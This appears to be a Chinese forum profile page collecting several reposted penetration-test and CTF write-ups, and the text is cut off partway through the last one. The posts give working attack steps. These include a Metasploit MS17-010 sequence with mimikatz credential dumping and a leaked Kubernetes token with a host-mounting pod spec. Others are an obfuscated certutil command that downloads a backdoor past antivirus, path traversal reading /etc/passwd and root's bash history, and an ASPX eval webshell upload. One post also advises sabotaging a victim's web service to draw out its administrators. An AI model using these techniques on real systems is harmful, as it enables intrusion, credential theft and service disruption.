跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 0x01 前言当一个企业把他的业务放到腾讯云或阿里云等公有云的时候,其是与企业的内网是不相通的,相当于逻辑隔离了(非物理隔离),如果企业信息安全做的相对较好,不暴露VPN地址或者路由器或防火墙业务,信息收集的时候,是很难进精准定位到企业的内网使用的公网地址的。这个时候,想要渗透内网相对困难。 下面就介绍一下我从公有云到渗透进内网进行漫游的实际渗透过程。 0x02 前期打点怎样拿下云服务器的不是本文重点,故不做详细介绍,只简单介绍思路。 根据公司名字,直接百度,发现官网地址。根据官网地址,进行了一波信息收集: 发现站点使用了CDN,是腾讯云主机,ip是变化的,无法探测真实IP;发现存在任意命令执行漏洞。直接RCE,拿下服务器权限;先看下ip地址 发现显示的是内网地址,这个时候,查看下真实的ip,虽然这个对接下来的内网渗透没什么diao用。 到此才发现是腾讯云,主机不在内网。 0x03 想办法打内网这个时候,我就要办法获取公司办公网的外网IP了,这个外网ip要么是防火墙的,要么是路由器的。怎么获取呢?我想到了一个办法,一般云主机,运维人员会通过ssh来进行管理,一般在上班时间,他们会连接进来,这个时候,就会获取到公司的真实公网IP。 教大家一个小技巧,如果是小公司,运维可能十天半个月都不会连上来,这个时候,我们就可以搞点“小破坏”,逼迫运维上线。 比如关闭它的web服务等等,大家千万注意两点: 动作不要太大,免得被运维发现被黑,当然你可以提前做权限维持,这里不做介绍;没有“授权”,千万不要乱搞;没有授权,千万不要乱搞;没有授权,千万不要乱搞,否则就会进局子吃免费的饭了,咋不能干违法的事,哈哈。我们看看运维上线没:[root@VM-0-13-centos~]# netstat -lantp | grep ESTABLISHED 我们重点关注sshd进程,这个前面的公网IP就的运维所在公司的公网IP,我这里发现了两个。0x04 对上面的IP进行渗透同样繁琐的事情来一波,信息收集。。。发现了shiro发序列化漏洞,直接反弹shell了 直接进来了:看一下内网地址:内网地址是10.10.10.187看看目标机器能否访问外网:最理想的状态,可以访问外网,接下来就可以开始代理进内网进行渗透了。0x05 愉快的内网漫游frp+Proxifier代理搞起来,这里怎样搭建就不详细介绍了,可以自行谷歌。很简单,最好是socks5代理,并加密,躲一下AV的流量检测;也最好增加代理的密码,防止“别人”使用。我这里使用了修改版的frp,利用远程加载配置文件的方式,稍微躲避一下,增加一点点溯源的难度: 代理搭建完,接下来扫一下内网看看:有经典的MS17-010漏洞,其实还发现了很多其他的漏洞。就拿最好利用的MS17-010快速开始吧,而且是windows服务器,利用价值大,且拿下后,用服务器再做一层代理,连RDP可以快速结束战斗,一把梭。我的msf是公网,利用proxychains代理一下,直接攻击。 开始攻击:多执行几次,有时候执行一次可能失败。攻击成功(这张图是后来补的,信息可能不一致,但原理一样)。 看下权限是system最高权限,省去提权了。 利用mimikatz来抓取密码:获取到了管理员的密码,发现开了3389,直接走代理登录 发现了这个,虚拟机备份,这个可以使用本地认证,有搞头。。。 还发现了群辉NAS 3台Vcenter,虚拟机超多呀,粗略看了一下,几百台。。。。全部可以接管了 0x06 总结1.通过搜索目标公司名称,查询公司的官网地址,并进行信息收集,发信对应的IP存在CDN服务,无法获取到公司真实地址,且公司的子域名处存在远程命令执行漏洞,拿下服务器权限。2.通过冰蝎远程连接,并执行命令查询ip地址(ifconfig),发现IP地址都是内网地址,以及公网地址,查询公网地址但还是腾讯云IP3.需要获取到目标公司的出口公网地址,这里我们可以让目标站点进行WEB服务宕机以及异常(需要授权,如关闭服务以及导致WEB服务流量异常),那么运维人员就会登录堡垒机,并登陆到腾讯云主机进行查看WEB服务。4.这时候可以查看网络连接,并获取到目标公司的出口公网地址netstat -lantp | grep ESTABLISHED5.通过信息收集,发现目标公司公网的IP某个端口出,存在shiro反序化漏洞6.执行命令查看IP地址,发现目标是内网地址:10.10.10.187,并测试是否通外网ping www.baidu.com10.通过frp+Proxifier或者proxychains进行socks5代理,这里需要设置frp的密码以及简单加密12.通过proxifier加载fscan对目标内网进行端口扫描,发现10.10.10.105存在ms17-01013.通过proxychains加载msf运行,并使用ms17-010模块进行攻击,并mimikatz获取明文msf>use exploit/windows/smb/ms17_010_eternalbluemsf>set rhosts 10.10.10.105msf>runmeterpter>getuid //显示是system权限meterpreter>load_kiwi //加载mimikatzmeterpreter>creds_wdigest //获取hash值14.获取到了管理员的密码,发现开了3389,直接走proxifier的socks5代理登录远程桌面15.进入系统后发现有虚拟机,虚拟机中使用本地认证,登录虚拟机后,发现是群辉NAS16.在群辉NAS中有vmware vsphere,其中有3台vcenter 原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247492954&idx=1&sn=412bbb64e880e6f63ba3ae05b2129eb0&chksm=cfa54149f8d2c85f3145e011edf2ec5b05b2d0614b0408d4d48ea8daa03087037228502c1686&scene=178&cur_album_id=1553386251775492098#rd
  2. 前言最近对云安全这块比较感兴趣,学了一波k8s的架构和操作,正好遇上了华为云的这一场比赛,收获颇多。 (甚至通过非预期拿下了平台题目集群的最高权限)。 0x00 题目入口发现拿到题目发现是一个类似于提供IaaS服务的站点,扫描了一波目录,发现几个文件以及路由: phpinfo.php robots.txt admin/ login/ static/挺奇怪的是,在一个存在phpinfo的环境下发现了一个beego框架后端的403界面: 初步猜测是.php的文件交给了nginx fastcgi进行处理,而其他路由则是交给了beego进行处理。 接着我们先看/admin路由,发现存在一个隐藏的表单 因此自然的想到使用burpsuite进行弱口令的爆破,发现存在弱口令 admin:admin 登录成功后返回了两个url, 下载 tools.zip,同时根据名字猜测/wsproxy是一个websocket的代理路由,而查看tools的源码发现是一个wsproxy的客户端程序。 至此,我们找到了进入内网的通道。 0x01 wsproxy 进入内网直接对拿到的tools源码进行编译,获得客户端连接程序 根据使用说明,我们可以通过简单的命令连接上题目的wsproxy,同时密码为tools源码目录下的 pass.txt(UAF),session就是我们登陆admin后,题目给的beego session 这样会在本地的1080端口开启一个 socks5 代理,通过这个代理,我们就能够连入内网。 0x02 phpinfo泄露k8s集群信息由于这道题目的名称 Cloud以及在phpinfo.php 环境变量 中发现的大量service的信息以及k8s api-server地址,同时根据环境变量的名称与值来看,这是一个k8s集群。而我们的题目属于k8s集群中的一个pod。 0x03 k8s基础架构介绍在继续深入下去之前,我们需要了解k8s的一些基础架构 如上图所示,我们可以看到,Kubernetes集群主要分为 Master和Node 两部分,也是典型的分布式架构。 首先,外部应用程序通过Api-Server提供的 HTTP 接口与Master进行交互,而在与APIs进行交互前,需要经过一步认证的阶段。而 Node由多个pod组成,pod中运行着的便是大家比较熟悉的容器(通常来说是docker),编写的服务(app)就运行在这些pod中的容器内。 其次,我们若是想将我们的pod发布出去,使其能够被公开访问,就需要了解服务(Service)。我们将运行在一组 Pods 上的应用程序公开为网络服务的抽象方法称作服务,服务上一般配置了能够被公开访问的 ip地址、端口映射关系等,通过服务我们就能够访问到相应的pods。 每一个Node上都有一个被称作节点代理的程序 kubelet,Node通过该程序向Api-Server汇报节点信息,以及接受相应的指令等。 从上面的架构中不难看出,如果我们要拿下整个集群,从外部看实际上就是需要获得暴露在外的api-server提供的REST api的访问权限。 0x04 k8s 认证 token 泄露 + 配置不当通过上面一步浅显的解了一下k8s的基础架构,我们可以继续往下看。 我们通过给的代理程序连接内网,访问phpinfo中泄露的 k8s api-server https://10.247.0.1:443,发现api-server居然暴露在代理能够直接访问到的网段上,但是直接访问提示我们401未授权,因此我们需要寻找一种可能的方式去通过此认证。 根据phpinfo.php文件中的内容来看,该集群中部署了很多很多的services,因此我们猜测所有的题目容器应该都是通过这个k8s进行编排管理的。 同时由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到 /run/secrets/kubernetes.io/serviceaccount/token 文件中,因此我们是可以通过其他题目所拿到的shell拿到这个token。 我们可以通过之前在 webshell_1题目所拿到的webshell,获取到api-server认证token http://124.70.199.12:32003/upload/71a6e9b8-90b6-4d4f-9acd-bd91c8bbcc5e.jsp?pwd=023&i=cat%20/run/secrets/kubernetes.io/serviceaccount/token至此,我们已经获得了api-server的访问权限,因此就相当于我们获取了k8s集群中的master权限。 0x05 获取集群操纵权限拿到了api-server的权限,我们就能够随心所欲的在集群中做想做的事了~ 其实做到这一步,大概就意识到这应该是一个平台漏洞,而不是本题的预期解法。因为拿到了master权限之后,我们已经能够查看/控制所有的Pods(web题目),随意的获取我们想要题目的flag。 我们可以通过命令行工具 kubectl来对api-server进行操作。 创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址 apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-name contexts: - context: cluster: cluster-name namespace: test user: admin name: admin current-context: admin kind: Config preferences: {} users: - name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w 在本机通过题目的内网代理 执行以下命令远程连接进入题目的k8s集群,成功通过认证。 kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true至此,我们得到了访问k8s api-server的权限,下面我们尝试去获取集群master宿主机的权限。 通过执行 kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true可以看到,k8s的版本号为 v1.15.11,这个版本的k8s授权默认是不会开启RBAC(基于角色的访问控制)的。 因此如果运维在搭建集群环境的时候,没有设置 --authorization-mode=RBAC ,那么我们就可以通过拿下集群中的一个pod的shell,从而获取到token进行api-server的认证。很显然,经过上面的验证,运维在部署环境时并没有开启该访问控制。 0x06 获取master 宿主机权限我们可以创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件。 执行以下命令,获取当前已经拉取过的images: kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\ tr -s '[[:space:]]' '\n' |\ sort |\ uniq -c结果如下: 尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的 yaml配置如下: apiVersion: v1 kind: Pod metadata: name: test-444 spec: containers: - name: test-444 image: 100.125.4.222:20202/hwofficial/coredns:1.15.6 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory上述配置将宿主机的根目录挂载到了我们pod中的 /host目录,执行以下命令在default命名空间中创建该pod kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制。 kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true至此,我们所获得的权限其实已经和主办方运维同样高了。。 0x07 获取flag通过以上的步骤,大概明白了这是一个非预期,平台配置token的泄露外加没有开启RBAC授权,导致我们轻易的就能够获取到了k8s集群的最高权限。因此我们也就获得了该集群中所有题目容器的最高权限。 在整个集群中,我们需要寻找属于我们队伍的pod,以便获得对应的flag。 因此我们首先通过查询在k8s中用于服务暴露的service信息: kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true可以看到,列出了所有的service,同时还有集群ip以及端口映射的关系。这里我们就可以通过暴露在公网上的端口,来定位对应的service。 例如我们的公网端口为30067,则我们搜索30067端口 得到了我们题目pod所在的service,接着我们获取这个service的详细信息,以便得到pod name,命令如下: kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true从这里大致可以看出,app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。 kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true通过对我们获取的数据的检索,发现了这样一个pod,通过比较虚拟ip与phpinfo中的信息,可以确定这个pod就是我们要找的那个。 因此便得到了属于我们的pod。exec进入pod后,便可以得到flag。 0x08 总结1.k8s配置文件:(需要获取到k8s集群的泄露的token值)k8s.yaml:apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-name contexts: - context: cluster: cluster-name namespace: test user: admin name: admin current-context: admin kind: Config preferences: {} users: - name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w2.通过kubectl命令认证k8s(https://kubernetes.io/zh/docs/tasks/tools/install-kubectl-linux/),得到了访问k8s api-server的权限 kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true3.查看k8s版本(从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能,1.6版本以下是不会开启RBAC(基于角色的访问控制)的)kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true4.创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件执行以下命令,获取当前已经拉取过的images: kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\ tr -s '[[:space:]]' '\n' |\ sort |\ uniq -c5.尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的 yaml配置如下: apiVersion: v1 kind: Pod metadata: name: test-444 spec: containers: - name: test-444 image: 100.125.4.222:20202/hwofficial/coredns:1.15.6 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory上述配置将宿主机的根目录挂载到了我们pod中的 /host目录 6.执行以下命令在default命名空间中创建该pod kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true7.再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制 kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true8.通过查询在k8s中用于服务暴露的service信息 kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true9.获取这个service的详细信息,以便得到pod name kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true10.app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。 kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true 原文链接: https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/
  3. 首先在奇安信hunter上搜索找到该SRC的有关资产(具体我就不放了),然后通过微步来搜索子域名找到今天的测试站点。 然后利用xray中检测到该站点存在Shiro反序列化漏洞 于是考虑直接用feihong的反序列话工具,但是这次feihong的反序列化工具只检测出key,gatget没有检测出来,咨询了同事琛哥后,故考虑到是因为工具很久没更新,需要找一条CB的链,啪的一下回车 直接开冲,先看下系统中是否存在杀毒软件,一目了然,系统中存在火绒杀毒软件。 在确定了目标系统存在火绒后我第一时间尝试了hta上线,相关文章内容:记一次绕过火绒安全提权实战案例 不过很可惜这个方法我在本地多次尝试后发现火绒已经对这个方法进行了拦截和查杀。 后续和3h师傅交流应该是对文件的特征进行了查杀,不过也没有在深一步探索绕过的方法。 题外话:这里测试的时候有一个小坑,感觉是工具的问题,工具在执行需要大量回显的数据包时会卡死,需要重新启动工具再执行一次命令才行。 这里绕过火绒选择了certutil远程下载方式,常规的cerutil直接下载肯定是不行的,于是想到了以前群里有师傅发过的变形版的certutil绕过方式。在本地测试后发现火绒没有拦截该命令,此时激动的小手已经焦躁不安。 "c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe题外话:发现目标系统不解析我vps的IP,搞得我晚上凌晨还在四处找人要VPS,感觉还是得随时准备一台国内的vps和国外的一台vps。 在找到vps后,先在工具上ping了一下vps的IP地址 可以解析到ip美滋滋,不过在下载之前还是最好看看目标服务器最近的登陆时间,以免被发现 直接开冲,首先在vps上启动一个临时的python web,命令如下。 python -m SimpleHTTPServer 8888然后先在本地测试一下,看看可不可以下载下来,OK,没问题! 现在直接到工具中在目标系统上执行,成功落地到当前路径下。 执行dir命令查看是否成功下载到当前目录下 运行文件后上线 查看系统版本 因为是高版本所以获取不到明文信息 所以还有两个办法去远程连接, 一个是上传远控软件,另外一个就是直接添加用户。 先看第一个吧,使用截屏命令看看是否处于锁屏状态 由此可以判断当前机器应该是在锁屏中,所以这里只能我们自己添加一个用户上去。因为机器中存在火绒,所以还需要bypass火绒添加用户上去,方法我就暂时不放出来了(还请各位师傅见谅哈) 用户加入完成后就可以进行远程桌面连接了 现在即可进行连接了 然后进来后翻到了一个配置文件,里面有数据库的信息 Mysql连接看看 总结1.通过xray被动扫描探测出目标系统存在shiro反序化漏洞2.先利用feihong的反序列话工具,但是这次feihong的反序列化工具只检测出key,gatget没有检测出来3.通过shiro_attack-4.5-SNAPSHOT-all可成功反弹出目标系统shell(这里使用commonsBeanutils利用链)4.首先执行命令个taslist/svc,通过Windows提权辅助工具(https://github.com/Ruiruigo/WinEXP或者https://i.hacking8.com/tiquan)。查询到usysdiag.exe进程是火绒5.通过变形版的certutil绕过火绒进行文件下载,可下载后门文件到目标系统中。"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe6.在自己VPS上通过MSF生成反弹shell的后门文件123.exe(这里生成的123.exe需要免杀)7.在自己的VPS上搭建http服务,并将123.exe放在运行SimpleHTTPServer 服务下。python -m SimpleHTTPServer 88888.通过shiro_attack-4.5-SNAPSHOT-all的命令执行功能下载后门,并执行123.exe"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/123.exe 123.exe9.运行文件后上线成功,查看系统版本和补丁以及mimkatz出明文,因为是高版本所以获取不到明文信息meterpreter>getuid //显示adminsitro权限meterpreter>systeminfo //显示系统补丁meterpreter>load_kiwi //加载mimikatzmeterpreter>getsystem // 进行提权meterpreter>creds_wdigest //获取hash值meterpeter>shell netstat -ano -p tcp | find "3389" //显示3389端口已开放10.通过bypass绕过火绒添加用户,并将用户添加到管理员组12.通过mstsc进行远程桌面登录,并在系统中发现目标网站的数据库配置文件的用户名和密码,这里可以上传格拉斯一句话,然后通过格拉斯自带的数据库管理模块,进行数据连接。 原文链接:https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247494220&idx=1&sn=5009f9378aed90335f0bfe5e97f12a84&chksm=cfa54e5ff8d2c74969789d47eff9b9755fbd08b4d80e7a4dbc7f35534852c317bfd5d6fae0cd&scene=178&cur_album_id=1553386251775492098#rd
  4. 0x01 前言某日闲来无事,上fofa搜了xx系统,想着碰碰运气,类似这样 0x02 测试过程随便挑了一个站点打开 Em…,试试运气,反手admin admin就进去了,是一个管理系统 然后根据网站的功能点,随便点击几个,发现除了常规的操作也没啥了,翻了一会,发现有一个文件下载操作 好家伙,藏得挺深,抓包看看,请求的地址好像是一个文件 fileName改成../etc/passwd看看,好家伙,报错了 看来应该不是这个路径,随后依次尝试了../../etc/passwd和../../../etc/passwd都是500错误,到了../../../../etc/passwd的时候就能访问到了 再看看能不能读历史命令,如果可以读历史命令,可以看看有没有网站备份文件或者网站安装包,嘿嘿,改路径为/root/.bash_history,访问!….500错误 看来应该是权限不够。没办法了,从其他地方入手吧。 接下来可以F12看看网站源代码,用源代码中标志性的语句或者文件去fofa搜索相同的系统,说不定会有root权限,大概像这样 有了相同的系统之后,再次尝试弱口令 可能是最近运气不错吧,弱口令又进去了。嘿嘿 接下来尝试刚刚的操作,下载../../../../etc/passwd文件看看 再试试读历史命令/root/.bash.history 可以读到历史命令,慢慢翻,最终发现有网站源码 反手下载下来 解压一下 JSP的站,没学过java的我裂开了,先跟着历史命令把环境搭起来,于是在自己服务器上部署了一样的系统。 没学过java,自动化java审计工具还收费,就手工一个方法一个方法康康把 找了大半天,都快想放弃了… 不过这套系统有mysql,先看看数据里面的结构吧。大概长这样 随后在管理网站用户的表里面发现了一个系统自带的账户(这里用账户x表示),账户x比admin权限还要高 把密码放到cmd5查一下 要钱?我穷的一批,没钱,反手找好师傅查一查,好师傅很快啊,就回了消息 随后我用这个账户x登录自己搭建的系统,发现在网站是根本查不到这个账户存在的,也就是说可能是开发商留下的。嘿嘿,有了这个账号,其他系统都可以登录了。 随后发现系统有一个上传点可以上传文件,既然都到白盒了,那么可以部署一个文件实时监控工具,看看发生变化的文件,也可以看看等会要上传的文件是否上传了。 这里使用了FileMonitor来监控文件 上传文件、抓包改后改后缀.jsp 提示上传失败 看看文件监控,已经能上传上去了 后缀可控,但是文件名不可控,这可麻烦了,一般文件名都是以时间戳或者有特定的算法命名,再多上传几次看看,看起来也没啥规律啊 翻看一下下载的网站源码中的class文件。再看看请求的地址 应该是upload类里面的Uploadfile方法(没学过Java,不知道对不对,别喷~) 找到了Uploadfile方法一行一行的看,头晕啊,但是最后还是找到了生成文件名的方法=-= 让我看看UUID.randomUUID().toString()是个啥 三部分组成:当前日期和时间+时钟序列+全局唯一的IEEE机器识别号(网卡mac地址) 突然想了想,前两个估计还能想办法得到,但是最后一个网卡的mac地址,就很难了,任意文件下载是下载不到带有网卡mac地址的文件的,又一条路被堵死了 过了几个小时,又发现一个上传点 文件监控起来 直接传马 回显了地址 冰蝎成功连上成功 最后如法炮制,利用系统自带的账号登录系统,然后用第二个上传点传马即可。 0x03 总结1.通过fofa搜索某个开源CMS系统,点击任意一个目标站点,输入弱口令admin/admin进入系统2.在后台的文件下载处,出现http://www.xxx.com/&filenam=xxxx.xls,那么这些链接存在任意文件下载漏洞3.通过bp进行fuzz路径,尝试读取../../etc/passwd和../../../etc/passwd都是500错误,../../../../etc/passwd能读取到内容。那么换成../../../../root/.bash_history,显示500错误。4.该测试的任意目标网站是不能读取到history记录,那么通过fofa搜索其他几个类似的开源cms系统,输入相同的弱口令admin/admin可进入系统,然后也能正常读取到../../../../root/.bash_history内容。显示读取出目标管理员操作的记录,包括对目标站点进行备份的压缩包名称以及是保存到网站的根目录下5.可直接下载根目录下的源码压缩包到本地,对其进行代码审计。6.发现目标源码中包含了网站的配置文件以及mysql数据库的备份文件。7.通过在本地搭建环境,让目标系统在本地能正常运行,同时也通过FileMonitor(https://github.com/TheKingOfDuck/FileMonitor)来监控文件变化,并通过phpmyadmin管理数据库,在数据库表中发现系统自带的账号system,以及对应的密码hash值,通过md5进行成功解密,并通过system账号登录到本地环境系统后台。8.在后台的文件上传处,存在文件上传漏洞,上传test.jsp,提示上传成功,但是在FileMonitor监控显示已有新文件建立,虽搜索上传文件名并没有搜索到,证明是没有上传成功。9.通过搜索源代码中的upload关键字,可以知道上传后成功的文件名的规则为:当前日期和时间+时钟序列+全局唯一的IEEE机器识别号(网卡mac地址)10.在本地环境系统后台的另一处又发现一处文件上传,可成功上传a.jsp,并返回了上传的文件名,搜索该文件名,可知道保存的路径。12.最后如法炮制,利用系统自带的账号system登录到目标系统后台,然后用第二处上传点传马即可。 原文链接:https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247493857&idx=1&sn=f7db570914d9e4b4f517ab05b5e5d380&chksm=cfa54cf2f8d2c5e41b2636bb3e6a9961617324182a2dd93b52a1fa3bea9dd42d8ed96b377bb4&scene=178&cur_album_id=1553386251775492098#rd
  5. 0x01 站点1:文件上传 发现源代码泄露打开自己珍藏已久的辣鸡字典,扫描发现存在bin.zip信息泄露,尝试进行代码审计 文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload 找到ProccessRequest接收请求,可以看到获取了一堆参数后(初始化),后进入了HandleFiles方法, 跟进HandleFiles进行处理,如果dateType=ZBJHSB时,就继续处理请求,dateType为GET传参 路径为/Uploads/SetData/ZBJHSB,str名称为时间戳,且str2(后缀)没有进行限制就进行保存, OK,这应该是一个妥妥的任意文件上传了,只要有返回值,那么这个站就没了。但是很不凑巧的是,他没有返回值。 由于方法fileUpload,瞎猜文件名为 fileUpload.aspx fileUpload.ashx fileUpload.asmx fileUploads.aspx fileUploads.asmx fileUploads.ashx Upload.....等加上自己现有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx 直接构造上传表单,这里Form里的name字段应该是没有具体设置的(代码里没有找到),发包后返回200,可能真的传上去了吧? POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1 Host: xxx.cn:6039 Content-Length: 195 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8 Accept: */* Connection: close ------WebKitFormBoundarySVkAJfiOUeRxhsu8 Content-Disposition: form-data; name="File"; filename="1.aspx" Content-Type: image/jpeg 11111111111 ------WebKitFormBoundarySVkAJfiOUeRxhsu8-- 之前我们看到使用的格式为yyyyMMddHHmmssfff作为文件名,然后直接截取后缀作为ext,而且我们有了具体的路径,那么只需要爆破时间戳文件名即可拿下该站点,以前还没有这么做过,不妨试试。 爆破时间戳使用Powershell生成时间戳,然后此时在Burp按下go发送请求包 powershell -c Get-Date -Format yyyyMMddHHmmssfff 再爆破后面5位数字,也就是ssfff(由于电脑上的时间不一定准,有时候甚至可能要爆破6位) 不知道等了多久 运气真好,后面的就不多说了。 0x02 站点2:文件上传找到上传接口打开网站http://xxxx:880/zwwpt/#/就发现存在一个webpack debug模式未关闭,查看JS发现上传接口 http://xxxxxx:880/zwwpt/data/menuData.json 发现了一个隐藏的html页面,这个页面在前端的功能点是点不到的。 http://xxxxxx:880/jtwxt/xgjt/security_risk.html 点击附件上传抓包 发现存在waf,当拦截住waf的时候,会返回404,大概数据包就是这样(省略了一些其他的无用参数) POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1 Host: xxxxx.cn:880 Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810 Connection: close ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx" Content-Type: image/jpeg <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--绕过修改HOST: xxxx.cn:880为xxxx.cn或xxx.cn:8888(不为880端口应该都可以) POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1 Host: xxxxx.cn Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810 Connection: close ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB Content-Disposition: form-data; name="uploadfile[]"; 